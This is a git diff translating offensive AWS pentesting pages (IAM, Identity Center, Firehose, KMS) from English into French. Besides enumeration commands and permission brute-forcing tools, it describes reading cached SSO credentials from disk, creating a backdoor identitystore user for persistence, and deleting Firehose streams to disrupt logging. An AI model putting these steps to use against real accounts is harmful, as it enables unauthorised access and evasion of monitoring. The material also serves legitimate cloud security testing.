-These features collectively enhance the security posture of EMR clusters, especially concerning data protection during storage and transmission phases.
+Ces fonctionnalités améliorent collectivement la posture de sécurité des clusters EMR, en particulier en ce qui concerne la protection des données lors des phases de stockage et de transmission.
 
 #### Enumeration
-
 ```bash
 aws emr list-clusters
 aws emr describe-cluster --cluster-id <id>
@@ -46,19 +45,14 @@ aws emr list-notebook-executions
 aws emr list-security-configurations
 aws emr list-studios #Get studio URLs
 ```
-
 #### Privesc
 
 {{#ref}}
 ../aws-privilege-escalation/aws-emr-privesc.md
 {{#endref}}
 
-## References
+## Références
 
 - [https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/](https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md
index 7a430cc17..f2d3f7d7c 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md
@@ -1,20 +1,20 @@
-# AWS - IAM, Identity Center & SSO Enum
+# AWS - IAM, Centre d'identité & Enum SSO
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## IAM
 
-You can find a **description of IAM** in:
+Vous pouvez trouver une **description de IAM** dans :
 
 {{#ref}}
 ../aws-basic-information/
 {{#endref}}
 
-### Enumeration
+### Énumération
 
-Main permissions needed:
+Permissions principales nécessaires :
 
-- `iam:ListPolicies`, `iam:GetPolicy` and `iam:GetPolicyVersion`
+- `iam:ListPolicies`, `iam:GetPolicy` et `iam:GetPolicyVersion`
 - `iam:ListRoles`
 - `iam:ListUsers`
 - `iam:ListGroups`
@@ -22,10 +22,9 @@ Main permissions needed:
 - `iam:ListAttachedUserPolicies`
 - `iam:ListAttachedRolePolicies`
 - `iam:ListAttachedGroupPolicies`
-- `iam:ListUserPolicies` and `iam:GetUserPolicy`
-- `iam:ListGroupPolicies` and `iam:GetGroupPolicy`
-- `iam:ListRolePolicies` and `iam:GetRolePolicy`
-
+- `iam:ListUserPolicies` et `iam:GetUserPolicy`
+- `iam:ListGroupPolicies` et `iam:GetGroupPolicy`
+- `iam:ListRolePolicies` et `iam:GetRolePolicy`
 ```bash
 # All IAMs
 ## Retrieves  information about all IAM users, groups, roles, and policies
@@ -89,64 +88,54 @@ aws iam get-account-password-policy
 aws iam list-mfa-devices
 aws iam list-virtual-mfa-devices
 ```
-
 ### Permissions Brute Force
 
-If you are interested in your own permissions but you don't have access to query IAM you could always brute-force them.
+Si vous êtes intéressé par vos propres permissions mais que vous n'avez pas accès pour interroger IAM, vous pouvez toujours les brute-forcer.
 
 #### bf-aws-permissions
 
-The tool [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) is just a bash script that will run using the indicated profile all the **`list*`, `describe*`, `get*`** actions it can find using `aws` cli help messages and **return the successful executions**.
-
+L'outil [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) est simplement un script bash qui exécutera, en utilisant le profil indiqué, toutes les actions **`list*`, `describe*`, `get*`** qu'il peut trouver en utilisant les messages d'aide de `aws` cli et **retournera les exécutions réussies**.
 ```bash
 # Bruteforce permissions
 bash bf-aws-permissions.sh -p default > /tmp/bf-permissions-verbose.txt
 ```
-
 #### bf-aws-perms-simulate
 
-The tool [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) can find your current permission (or the ones of other principals) if you have the permission **`iam:SimulatePrincipalPolicy`**
-
+L'outil [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) peut trouver vos autorisations actuelles (ou celles d'autres principaux) si vous avez l'autorisation **`iam:SimulatePrincipalPolicy`**
 ```bash
 # Ask for permissions
 python3 aws_permissions_checker.py --profile <AWS_PROFILE> [--arn <USER_ARN>]
 ```
-
 #### Perms2ManagedPolicies
 
-If you found **some permissions your user has**, and you think that they are being granted by a **managed AWS role** (and not by a custom one). You can use the tool [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) to check all the **AWS managed roles that grants the permissions you discovered that you have**.
-
+Si vous avez trouvé **certaines autorisations que votre utilisateur possède**, et que vous pensez qu'elles sont accordées par un **rôle AWS géré** (et non par un rôle personnalisé). Vous pouvez utiliser l'outil [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) pour vérifier tous les **rôles gérés par AWS qui accordent les autorisations que vous avez découvertes que vous avez**.
 ```bash
 # Run example with my profile
 python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt
 ```
-
 > [!WARNING]
-> It's possible to "know" if the permissions you have are granted by an AWS managed role if you see that **you have permissions over services that aren't used** for example.
+> Il est possible de "savoir" si les autorisations que vous avez sont accordées par un rôle géré par AWS si vous voyez que **vous avez des autorisations sur des services qui ne sont pas utilisés** par exemple.
 
 #### Cloudtrail2IAM
 
-[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) is a Python tool that analyses **AWS CloudTrail logs to extract and summarize actions** done by everyone or just an specific user or role. The tool will **parse every cloudtrail log from the indicated bucket**.
-
+[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) est un outil Python qui analyse **les journaux AWS CloudTrail pour extraire et résumer les actions** effectuées par tout le monde ou juste un utilisateur ou rôle spécifique. L'outil va **analyser chaque journal cloudtrail du bucket indiqué**.
 ```bash
 git clone https://github.com/carlospolop/Cloudtrail2IAM
 cd Cloudtrail2IAM
 pip install -r requirements.txt
 python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS]
 ```
-
 > [!WARNING]
-> If you find .tfstate (Terraform state files) or CloudFormation files (these are usually yaml files located inside a bucket with the prefix cf-templates), you can also read them to find aws configuration and find which permissions have been assigned to who.
+> Si vous trouvez des fichiers .tfstate (fichiers d'état Terraform) ou des fichiers CloudFormation (ce sont généralement des fichiers yaml situés dans un bucket avec le préfixe cf-templates), vous pouvez également les lire pour trouver la configuration aws et découvrir quelles permissions ont été attribuées à qui.
 
 #### enumerate-iam
 
-To use the tool [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) you first need to download all the API AWS endpoints, from those the script **`generate_bruteforce_tests.py`** will get all the **"list\_", "describe\_", and "get\_" endpoints.** And finally, it will try to **access them** with the given credentials and **indicate if it worked**.
+Pour utiliser l'outil [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam), vous devez d'abord télécharger tous les points de terminaison API AWS, à partir desquels le script **`generate_bruteforce_tests.py`** obtiendra tous les **points de terminaison "list\_", "describe\_" et "get\_"**. Et enfin, il essaiera de **y accéder** avec les identifiants fournis et **indiquera si cela a fonctionné**.
 
-(In my experience the **tool hangs at some point**, [**checkout this fix**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) to try to fix that).
+(D'après mon expérience, l'**outil se bloque à un moment donné**, [**consultez ce correctif**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) pour essayer de résoudre ce problème).
 
 > [!WARNING]
-> In my experience this tool is like the previous one but working worse and checking less permissions
-
+> D'après mon expérience, cet outil est comme le précédent mais fonctionne moins bien et vérifie moins de permissions.
 ```bash
 # Install tool
 git clone git@github.com:andresriancho/enumerate-iam.git
@@ -163,11 +152,9 @@ cd ..
 # Enumerate permissions
 python3 enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY [--session-token SESSION_TOKEN] [--region REGION]
 ```
-
 #### weirdAAL
 
-You could also use the tool [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). This tool will check **several common operations on several common services** (will check some enumeration permissions and also some privesc permissions). But it will only check the coded checks (the only way to check more stuff if coding more tests).
-
+Vous pouvez également utiliser l'outil [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). Cet outil vérifiera **plusieurs opérations courantes sur plusieurs services courants** (il vérifiera certaines autorisations d'énumération et également certaines autorisations de privesc). Mais il ne vérifiera que les vérifications codées (la seule façon de vérifier plus de choses est de coder plus de tests).
 ```bash
 # Install
 git clone https://github.com/carnal0wnage/weirdAAL.git
@@ -191,12 +178,10 @@ python3 weirdAAL.py -m recon_all -t MyTarget # Check all permissions
 # [+] elbv2 Actions allowed are [+]
 # ['DescribeLoadBalancers', 'DescribeAccountLimits', 'DescribeTargetGroups']
 ```
-
-#### Hardening Tools to BF permissions
+#### Outils de renforcement pour BF permissions
 
 {{#tabs }}
 {{#tab name="CloudSploit" }}
-
 ```bash
 # Export env variables
 ./index.js --console=text --config ./config.js --json /tmp/out-cloudsploit.json
@@ -207,11 +192,9 @@ jq 'map(select(.status | contains("UNKNOWN") | not))' /tmp/out-cloudsploit.json
 # Get services by regions
 jq 'group_by(.region) | map({(.[0].region): ([map((.resource | split(":"))[2]) | unique])})' ~/Desktop/pentests/cere/greybox/core-dev-dev-cloudsploit-filtered.json
 ```
-
 {{#endtab }}
 
 {{#tab name="SteamPipe" }}
-
 ```bash
 # https://github.com/turbot/steampipe-mod-aws-insights
 steampipe check all --export=json
@@ -220,50 +203,48 @@ steampipe check all --export=json
 # In this case you cannot output to JSON, so heck it in the dashboard
 steampipe dashboard
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
 #### \<YourTool>
 
-Neither of the previous tools is capable of checking close to all permissions, so if you know a better tool send a PR!
+Aucun des outils précédents n'est capable de vérifier presque toutes les autorisations, donc si vous connaissez un meilleur outil, envoyez une PR !
 
-### Unauthenticated Access
+### Accès non authentifié
 
 {{#ref}}
 ../aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
 {{#endref}}
 
-### Privilege Escalation
+### Escalade de privilèges
 
-In the following page you can check how to **abuse IAM permissions to escalate privileges**:
+Dans la page suivante, vous pouvez vérifier comment **abuser des autorisations IAM pour escalader les privilèges** :
 
 {{#ref}}
 ../aws-privilege-escalation/aws-iam-privesc.md
 {{#endref}}
 
-### IAM Post Exploitation
+### Post-exploitation IAM
 
 {{#ref}}
 ../aws-post-exploitation/aws-iam-post-exploitation.md
 {{#endref}}
 
-### IAM Persistence
+### Persistance IAM
 
 {{#ref}}
 ../aws-persistence/aws-iam-persistence.md
 {{#endref}}
 
-## IAM Identity Center
+## Centre d'identité IAM
 
-You can find a **description of IAM Identity Center** in:
+Vous pouvez trouver une **description du Centre d'identité IAM** dans :
 
 {{#ref}}
 ../aws-basic-information/
 {{#endref}}
 
-### Connect via SSO with CLI
-
+### Connexion via SSO avec CLI
 ```bash
 # Connect with sso via CLI aws configure sso
 aws configure sso
@@ -274,20 +255,18 @@ sso_account_id = <account_numbre>
 sso_role_name = AdministratorAccess
 sso_region = us-east-1
 ```
-
 ### Enumeration
 
-The main elements of the Identity Center are:
+Les principaux éléments du Centre d'identité sont :
 
-- Users and groups
-- Permission Sets: Have policies attached
-- AWS Accounts
+- Utilisateurs et groupes
+- Ensembles de permissions : ont des politiques attachées
+- Comptes AWS
 
-Then, relationships are created so users/groups have Permission Sets over AWS Account.
+Ensuite, des relations sont créées afin que les utilisateurs/groupes aient des Ensembles de permissions sur le compte AWS.
 
 > [!NOTE]
-> Note that there are 3 ways to attach policies to a Permission Set. Attaching AWS managed policies, Customer managed policies (these policies needs to be created in all the accounts the Permissions Set is affecting), and inline policies (defined in there).
-
+> Notez qu'il existe 3 façons d'attacher des politiques à un Ensemble de permissions. Attacher des politiques gérées par AWS, des politiques gérées par le client (ces politiques doivent être créées dans tous les comptes que l'Ensemble de permissions affecte), et des politiques en ligne (définies ici).
 ```bash
 # Check if IAM Identity Center is used
 aws sso-admin list-instances
@@ -321,11 +300,9 @@ aws identitystore list-group-memberships --identity-store-id <store-id> --group-
 ## Get memberships or a user or a group
 aws identitystore list-group-memberships-for-member --identity-store-id <store-id> --member-id <member-id>
 ```
-
 ### Local Enumeration
 
-It's possible to create inside the folder `$HOME/.aws` the file config to configure profiles that are accessible via SSO, for example:
-
+Il est possible de créer dans le dossier `$HOME/.aws` le fichier config pour configurer des profils accessibles via SSO, par exemple :
 ```ini
 [default]
 region = us-west-2
@@ -343,20 +320,16 @@ output = json
 role_arn = arn:aws:iam::<acc-id>:role/ReadOnlyRole
 source_profile = Hacktricks-Admin
 ```
-
-This configuration can be used with the commands:
-
+Cette configuration peut être utilisée avec les commandes :
 ```bash
 # Login in ms-sso-profile
 aws sso login --profile my-sso-profile
 # Use dependent-profile
 aws s3 ls --profile dependent-profile
 ```
+Lorsque un **profil SSO est utilisé** pour accéder à certaines informations, les identifiants sont **mis en cache** dans un fichier à l'intérieur du dossier **`$HOME/.aws/sso/cache`**. Par conséquent, ils peuvent être **lus et utilisés à partir de là**.
 
-When a **profile from SSO is used** to access some information, the credentials are **cached** in a file inside the folder **`$HOME/.aws/sso/cache`**. Therefore they can be **read and used from there**.
-
-Moreover, **more credentials** can be stored in the folder **`$HOME/.aws/cli/cache`**. This cache directory is primarily used when you are **working with AWS CLI profiles** that use IAM user credentials or **assume** roles through IAM (without SSO). Config example:
-
+De plus, **d'autres identifiants** peuvent être stockés dans le dossier **`$HOME/.aws/cli/cache`**. Ce répertoire de cache est principalement utilisé lorsque vous **travaillez avec des profils AWS CLI** qui utilisent des identifiants d'utilisateur IAM ou **assument** des rôles via IAM (sans SSO). Exemple de configuration :
 ```ini
 [profile crossaccountrole]
 role_arn = arn:aws:iam::234567890123:role/SomeRole
@@ -364,43 +337,36 @@ source_profile = default
 mfa_serial = arn:aws:iam::123456789012:mfa/saanvi
 external_id = 123456
 ```
-
-### Unauthenticated Access
+### Accès non authentifié
 
 {{#ref}}
 ../aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
 {{#endref}}
 
-### Privilege Escalation
+### Escalade de privilèges
 
 {{#ref}}
 ../aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
 {{#endref}}
 
-### Post Exploitation
+### Post-exploitation
 
 {{#ref}}
 ../aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
 {{#endref}}
 
-### Persistence
-
-#### Create a user an assign permissions to it
+### Persistance
 
+#### Créer un utilisateur et lui attribuer des permissions
 ```bash
 # Create user identitystore:CreateUser
 aws identitystore create-user --identity-store-id <store-id> --user-name privesc --display-name privesc --emails Value=sdkabflvwsljyclpma@tmmbt.net,Type=Work,Primary=True --name Formatted=privesc,FamilyName=privesc,GivenName=privesc
 ## After creating it try to login in the console using the selected username, you will receive an email with the code and then you will be able to select a password
 ```
+- Créez un groupe et attribuez-lui des autorisations et définissez un utilisateur contrôlé dessus
+- Donnez des autorisations supplémentaires à un utilisateur ou groupe contrôlé
+- Par défaut, seuls les utilisateurs ayant des autorisations du compte de gestion pourront accéder et contrôler le Centre d'identité IAM.
 
-- Create a group and assign it permissions and set on it a controlled user
-- Give extra permissions to a controlled user or group
-- By default, only users with permissions form the Management Account are going to be able to access and control the IAM Identity Center.
-
-  However, it's possible via Delegate Administrator to allow users from a different account to manage it. They won't have exactly the same permission, but they will be able to perform [**management activities**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html).
+Cependant, il est possible via l'administrateur délégué de permettre à des utilisateurs d'un compte différent de le gérer. Ils n'auront pas exactement les mêmes autorisations, mais ils pourront effectuer des [**activités de gestion**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html).
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md
index 6ca66b5ed..148c1b894 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md
@@ -4,12 +4,11 @@
 
 ## Kinesis Data Firehose
 
-Amazon Kinesis Data Firehose is a **fully managed service** that facilitates the delivery of **real-time streaming data**. It supports a variety of destinations, including Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk, and custom HTTP endpoints.
+Amazon Kinesis Data Firehose est un **service entièrement géré** qui facilite la livraison de **données de streaming en temps réel**. Il prend en charge une variété de destinations, y compris Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk et des points de terminaison HTTP personnalisés.
 
-The service alleviates the need for writing applications or managing resources by allowing data producers to be configured to forward data directly to Kinesis Data Firehose. This service is responsible for the **automatic delivery of data to the specified destination**. Additionally, Kinesis Data Firehose provides the option to **transform the data prior to its delivery**, enhancing its flexibility and applicability to various use cases.
+Le service élimine le besoin d'écrire des applications ou de gérer des ressources en permettant aux producteurs de données d'être configurés pour transmettre des données directement à Kinesis Data Firehose. Ce service est responsable de la **livraison automatique des données à la destination spécifiée**. De plus, Kinesis Data Firehose offre la possibilité de **transformer les données avant leur livraison**, améliorant ainsi sa flexibilité et son applicabilité à divers cas d'utilisation.
 
 ### Enumeration
-
 ```bash
 # Get delivery streams
 aws firehose list-delivery-streams
@@ -19,37 +18,26 @@ aws firehose describe-delivery-stream --delivery-stream-name <name>
 ## Get roles
 aws firehose describe-delivery-stream --delivery-stream-name <name> | grep -i RoleARN
 ```
+## Post-exploitation / Contournement de la défense
 
-## Post-exploitation / Defense Bypass
-
-In case firehose is used to send logs or defense insights, using these functionalities an attacker could prevent it from working properly.
+Dans le cas où firehose est utilisé pour envoyer des journaux ou des informations de défense, en utilisant ces fonctionnalités, un attaquant pourrait empêcher son bon fonctionnement.
 
 ### firehose:DeleteDeliveryStream
-
 ```
 aws firehose delete-delivery-stream --delivery-stream-name <value> --allow-force-delete
 ```
-
 ### firehose:UpdateDestination
-
 ```
 aws firehose update-destination --delivery-stream-name <value> --current-delivery-stream-version-id <value> --destination-id <value>
 ```
-
 ### firehose:PutRecord | firehose:PutRecordBatch
-
 ```
 aws firehose put-record --delivery-stream-name my-stream --record '{"Data":"SGVsbG8gd29ybGQ="}'
 
 aws firehose put-record-batch --delivery-stream-name my-stream --records file://records.json
 ```
-
-## References
+## Références
 
 - [https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html](https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md
index 543ed31cd..96fa7c270 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md
@@ -2,128 +2,125 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## KMS - Key Management Service
+## KMS - Service de Gestion des Clés
 
-AWS Key Management Service (AWS KMS) is presented as a managed service, simplifying the process for users to **create and manage customer master keys** (CMKs). These CMKs are integral in the encryption of user data. A notable feature of AWS KMS is that CMKs are predominantly **secured by hardware security modules** (HSMs), enhancing the protection of the encryption keys.
+Le Service de Gestion des Clés d'AWS (AWS KMS) est présenté comme un service géré, simplifiant le processus pour les utilisateurs de **créer et gérer des clés maîtresses client** (CMK). Ces CMK sont intégrales dans le chiffrement des données utilisateur. Une caractéristique notable d'AWS KMS est que les CMK sont principalement **sécurisées par des modules de sécurité matériels** (HSM), renforçant la protection des clés de chiffrement.
 
-KMS uses **symmetric cryptography**. This is used to **encrypt information as rest** (for example, inside a S3). If you need to **encrypt information in transit** you need to use something like **TLS**.
+KMS utilise **la cryptographie symétrique**. Cela est utilisé pour **chiffrer les informations au repos** (par exemple, à l'intérieur d'un S3). Si vous devez **chiffrer des informations en transit**, vous devez utiliser quelque chose comme **TLS**.
 
-KMS is a **region specific service**.
+KMS est un **service spécifique à la région**.
 
-**Administrators at Amazon do not have access to your keys**. They cannot recover your keys and they do not help you with encryption of your keys. AWS simply administers the operating system and the underlying application it's up to us to administer our encryption keys and administer how those keys are used.
+**Les administrateurs d'Amazon n'ont pas accès à vos clés**. Ils ne peuvent pas récupérer vos clés et ils ne vous aident pas avec le chiffrement de vos clés. AWS administre simplement le système d'exploitation et l'application sous-jacente, il nous appartient d'administrer nos clés de chiffrement et de gérer comment ces clés sont utilisées.
 
-**Customer Master Keys** (CMK): Can encrypt data up to 4KB in size. They are typically used to create, encrypt, and decrypt the DEKs (Data Encryption Keys). Then the DEKs are used to encrypt the data.
+**Clés Maîtresses Client** (CMK) : Peuvent chiffrer des données jusqu'à 4 Ko de taille. Elles sont généralement utilisées pour créer, chiffrer et déchiffrer les DEK (Clés de Chiffrement des Données). Ensuite, les DEK sont utilisées pour chiffrer les données.
 
-A customer master key (CMK) is a logical representation of a master key in AWS KMS. In addition to the master key's identifiers and other metadata, including its creation date, description, and key state, a **CMK contains the key material which used to encrypt and decrypt data**. When you create a CMK, by default, AWS KMS generates the key material for that CMK. However, you can choose to create a CMK without key material and then import your own key material into that CMK.
+Une clé maîtresse client (CMK) est une représentation logique d'une clé maîtresse dans AWS KMS. En plus des identifiants de la clé maîtresse et d'autres métadonnées, y compris sa date de création, sa description et son état de clé, une **CMK contient le matériel de clé utilisé pour chiffrer et déchiffrer les données**. Lorsque vous créez une CMK, par défaut, AWS KMS génère le matériel de clé pour cette CMK. Cependant, vous pouvez choisir de créer une CMK sans matériel de clé et ensuite importer votre propre matériel de clé dans cette CMK.
 
-There are 2 types of master keys:
+Il existe 2 types de clés maîtresses :
 
-- **AWS managed CMKs: Used by other services to encrypt data**. It's used by the service that created it in a region. They are created the first time you implement the encryption in that service. Rotates every 3 years and it's not possible to change it.
-- **Customer manager CMKs**: Flexibility, rotation, configurable access and key policy. Enable and disable keys.
+- **CMK gérées par AWS : Utilisées par d'autres services pour chiffrer des données**. Elles sont utilisées par le service qui les a créées dans une région. Elles sont créées la première fois que vous implémentez le chiffrement dans ce service. Se renouvellent tous les 3 ans et il n'est pas possible de les changer.
+- **CMK gérées par le client** : Flexibilité, rotation, accès configurable et politique de clé. Activer et désactiver les clés.
 
-**Envelope Encryption** in the context of Key Management Service (KMS): Two-tier hierarchy system to **encrypt data with data key and then encrypt data key with master key**.
+**Chiffrement par enveloppe** dans le contexte du Service de Gestion des Clés (KMS) : Système hiérarchique à deux niveaux pour **chiffrer les données avec une clé de données puis chiffrer la clé de données avec la clé maîtresse**.
 
-### Key Policies
+### Politiques de Clé
 
-These defines **who can use and access a key in KMS**.
+Ceci définit **qui peut utiliser et accéder à une clé dans KMS**.
 
-By **default:**
+Par **défaut :**
 
-- It gives the **IAM of the** **AWS account that owns the KMS key access** to manage the access to the KMS key via IAM.
+- Cela donne à **l'IAM du** **compte AWS qui possède la clé KMS l'accès** pour gérer l'accès à la clé KMS via IAM.
 
-  Unlike other AWS resource policies, a AWS **KMS key policy does not automatically give permission any of the principals of the account**. To give permission to account administrators, the **key policy must include an explicit statement** that provides this permission, like this one.
+Contrairement à d'autres politiques de ressources AWS, une **politique de clé KMS d'AWS ne donne pas automatiquement la permission à l'un des principaux du compte**. Pour donner la permission aux administrateurs de compte, **la politique de clé doit inclure une déclaration explicite** qui fournit cette permission, comme celle-ci.
 
-  - Without allowing the account(`"AWS": "arn:aws:iam::111122223333:root"`) IAM permissions won't work.
+- Sans permettre au compte (`"AWS": "arn:aws:iam::111122223333:root"`) les permissions IAM ne fonctionneront pas.
 
-- It **allows the account to use IAM policies** to allow access to the KMS key, in addition to the key policy.
+- Cela **permet au compte d'utiliser des politiques IAM** pour autoriser l'accès à la clé KMS, en plus de la politique de clé.
 
-  **Without this permission, IAM policies that allow access to the key are ineffective**, although IAM policies that deny access to the key are still effective.
+**Sans cette permission, les politiques IAM qui permettent l'accès à la clé sont inefficaces**, bien que les politiques IAM qui refusent l'accès à la clé soient toujours efficaces.
 
-- It **reduces the risk of the key becoming unmanageable** by giving access control permission to the account administrators, including the account root user, which cannot be deleted.
-
-**Default policy** example:
+- Cela **réduit le risque que la clé devienne ingérable** en donnant la permission de contrôle d'accès aux administrateurs de compte, y compris l'utilisateur root du compte, qui ne peut pas être supprimé.
 
+**Exemple de politique par défaut** :
 ```json
 {
-  "Sid": "Enable IAM policies",
-  "Effect": "Allow",
-  "Principal": {
-    "AWS": "arn:aws:iam::111122223333:root"
-  },
-  "Action": "kms:*",
-  "Resource": "*"
+"Sid": "Enable IAM policies",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::111122223333:root"
+},
+"Action": "kms:*",
+"Resource": "*"
 }
 ```
-
 > [!WARNING]
-> If the **account is allowed** (`"arn:aws:iam::111122223333:root"`) a **principal** from the account **will still need IAM permissions** to use the KMS key. However, if the **ARN** of a role for example is **specifically allowed** in the **Key Policy**, that role **doesn't need IAM permissions**.
+> Si le **compte est autorisé** (`"arn:aws:iam::111122223333:root"`), un **principal** du compte **aura toujours besoin des autorisations IAM** pour utiliser la clé KMS. Cependant, si l'**ARN** d'un rôle par exemple est **spécifiquement autorisé** dans la **politique de clé**, ce rôle **n'a pas besoin d'autorisations IAM**.
 
 <details>
 
-<summary>Policy Details</summary>
+<summary>Détails de la politique</summary>
 
-Properties of a policy:
+Propriétés d'une politique :
 
-- JSON based document
-- Resource --> Affected resources (can be "\*")
-- Action --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (permissions)
-- Effect --> Allow/Deny
-- Principal --> arn affected
-- Conditions (optional) --> Condition to give the permissions
+- Document basé sur JSON
+- Ressource --> Ressources affectées (peut être "\*")
+- Action --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (autorisations)
+- Effet --> Autoriser/Refuser
+- Principal --> arn affecté
+- Conditions (optionnel) --> Condition pour donner les autorisations
 
-Grants:
+Octrois :
 
-- Allow to delegate your permissions to another AWS principal within your AWS account. You need to create them using the AWS KMS APIs. It can be indicated the CMK identifier, the grantee principal and the required level of opoeration (Decrypt, Encrypt, GenerateDataKey...)
-- After the grant is created a GrantToken and a GratID are issued
+- Permet de déléguer vos autorisations à un autre principal AWS au sein de votre compte AWS. Vous devez les créer en utilisant les API AWS KMS. Il peut être indiqué l'identifiant CMK, le principal bénéficiaire et le niveau d'opération requis (Déchiffrer, Chiffrer, GénérerDataKey...)
+- Après la création de l'octroi, un GrantToken et un GrantID sont émis
 
-**Access**:
+**Accès** :
 
-- Via **key policy** -- If this exist, this takes **precedent** over the IAM policy
-- Via **IAM policy**
-- Via **grants**
+- Via **politique de clé** -- Si cela existe, cela prend **précédence** sur la politique IAM
+- Via **politique IAM**
+- Via **octrois**
 
 </details>
 
-### Key Administrators
+### Administrateurs de clés
 
-Key administrator by default:
+Administrateur de clés par défaut :
 
-- Have access to manage KMS but not to encrypt or decrypt data
-- Only IAM users and roles can be added to Key Administrators list (not groups)
-- If external CMK is used, Key Administrators have the permission to import key material
+- A accès pour gérer KMS mais pas pour chiffrer ou déchiffrer des données
+- Seuls les utilisateurs et rôles IAM peuvent être ajoutés à la liste des administrateurs de clés (pas de groupes)
+- Si un CMK externe est utilisé, les administrateurs de clés ont la permission d'importer des matériaux de clé
 
-### Rotation of CMKs
+### Rotation des CMK
 
-- The longer the same key is left in place, the more data is encrypted with that key, and if that key is breached, then the wider the blast area of data is at risk. In addition to this, the longer the key is active, the probability of it being breached increases.
-- **KMS rotate customer keys every 365 days** (or you can perform the process manually whenever you want) and **keys managed by AWS every 3 years** and this time it cannot be changed.
-- **Older keys are retained** to decrypt data that was encrypted prior to the rotation
-- In a break, rotating the key won't remove the threat as it will be possible to decrypt all the data encrypted with the compromised key. However, the **new data will be encrypted with the new key**.
-- If **CMK** is in state of **disabled** or **pending** **deletion**, KMS will **not perform a key rotation** until the CMK is re-enabled or deletion is cancelled.
+- Plus la même clé est laissée en place longtemps, plus de données sont chiffrées avec cette clé, et si cette clé est compromise, alors plus la zone d'impact des données est à risque. De plus, plus la clé est active longtemps, plus la probabilité qu'elle soit compromise augmente.
+- **KMS fait tourner les clés clients tous les 365 jours** (ou vous pouvez effectuer le processus manuellement quand vous le souhaitez) et **les clés gérées par AWS tous les 3 ans** et cette fois-ci, cela ne peut pas être changé.
+- **Les anciennes clés sont conservées** pour déchiffrer les données qui ont été chiffrées avant la rotation
+- En cas de compromission, faire tourner la clé ne supprimera pas la menace car il sera possible de déchiffrer toutes les données chiffrées avec la clé compromise. Cependant, les **nouvelles données seront chiffrées avec la nouvelle clé**.
+- Si le **CMK** est en état de **désactivé** ou **en attente de** **suppression**, KMS **ne procédera pas à une rotation de clé** tant que le CMK n'est pas réactivé ou que la suppression n'est pas annulée.
 
-#### Manual rotation
+#### Rotation manuelle
 
-- A **new CMK needs to be created**, then, a new CMK-ID is created, so you will need to **update** any **application** to **reference** the new CMK-ID.
-- To do this process easier you can **use aliases to refer to a key-id** and then just update the key the alias is referring to.
-- You need to **keep old keys to decrypt old files** encrypted with it.
+- Un **nouveau CMK doit être créé**, ensuite, un nouvel ID de CMK est créé, donc vous devrez **mettre à jour** toute **application** pour **référencer** le nouvel ID de CMK.
+- Pour faciliter ce processus, vous pouvez **utiliser des alias pour référencer un key-id** et ensuite simplement mettre à jour la clé à laquelle l'alias fait référence.
+- Vous devez **conserver les anciennes clés pour déchiffrer les anciens fichiers** chiffrés avec celles-ci.
 
-You can import keys from your on-premises key infrastructure .
+Vous pouvez importer des clés de votre infrastructure de clés sur site.
 
-### Other relevant KMS information
+### Autres informations KMS pertinentes
 
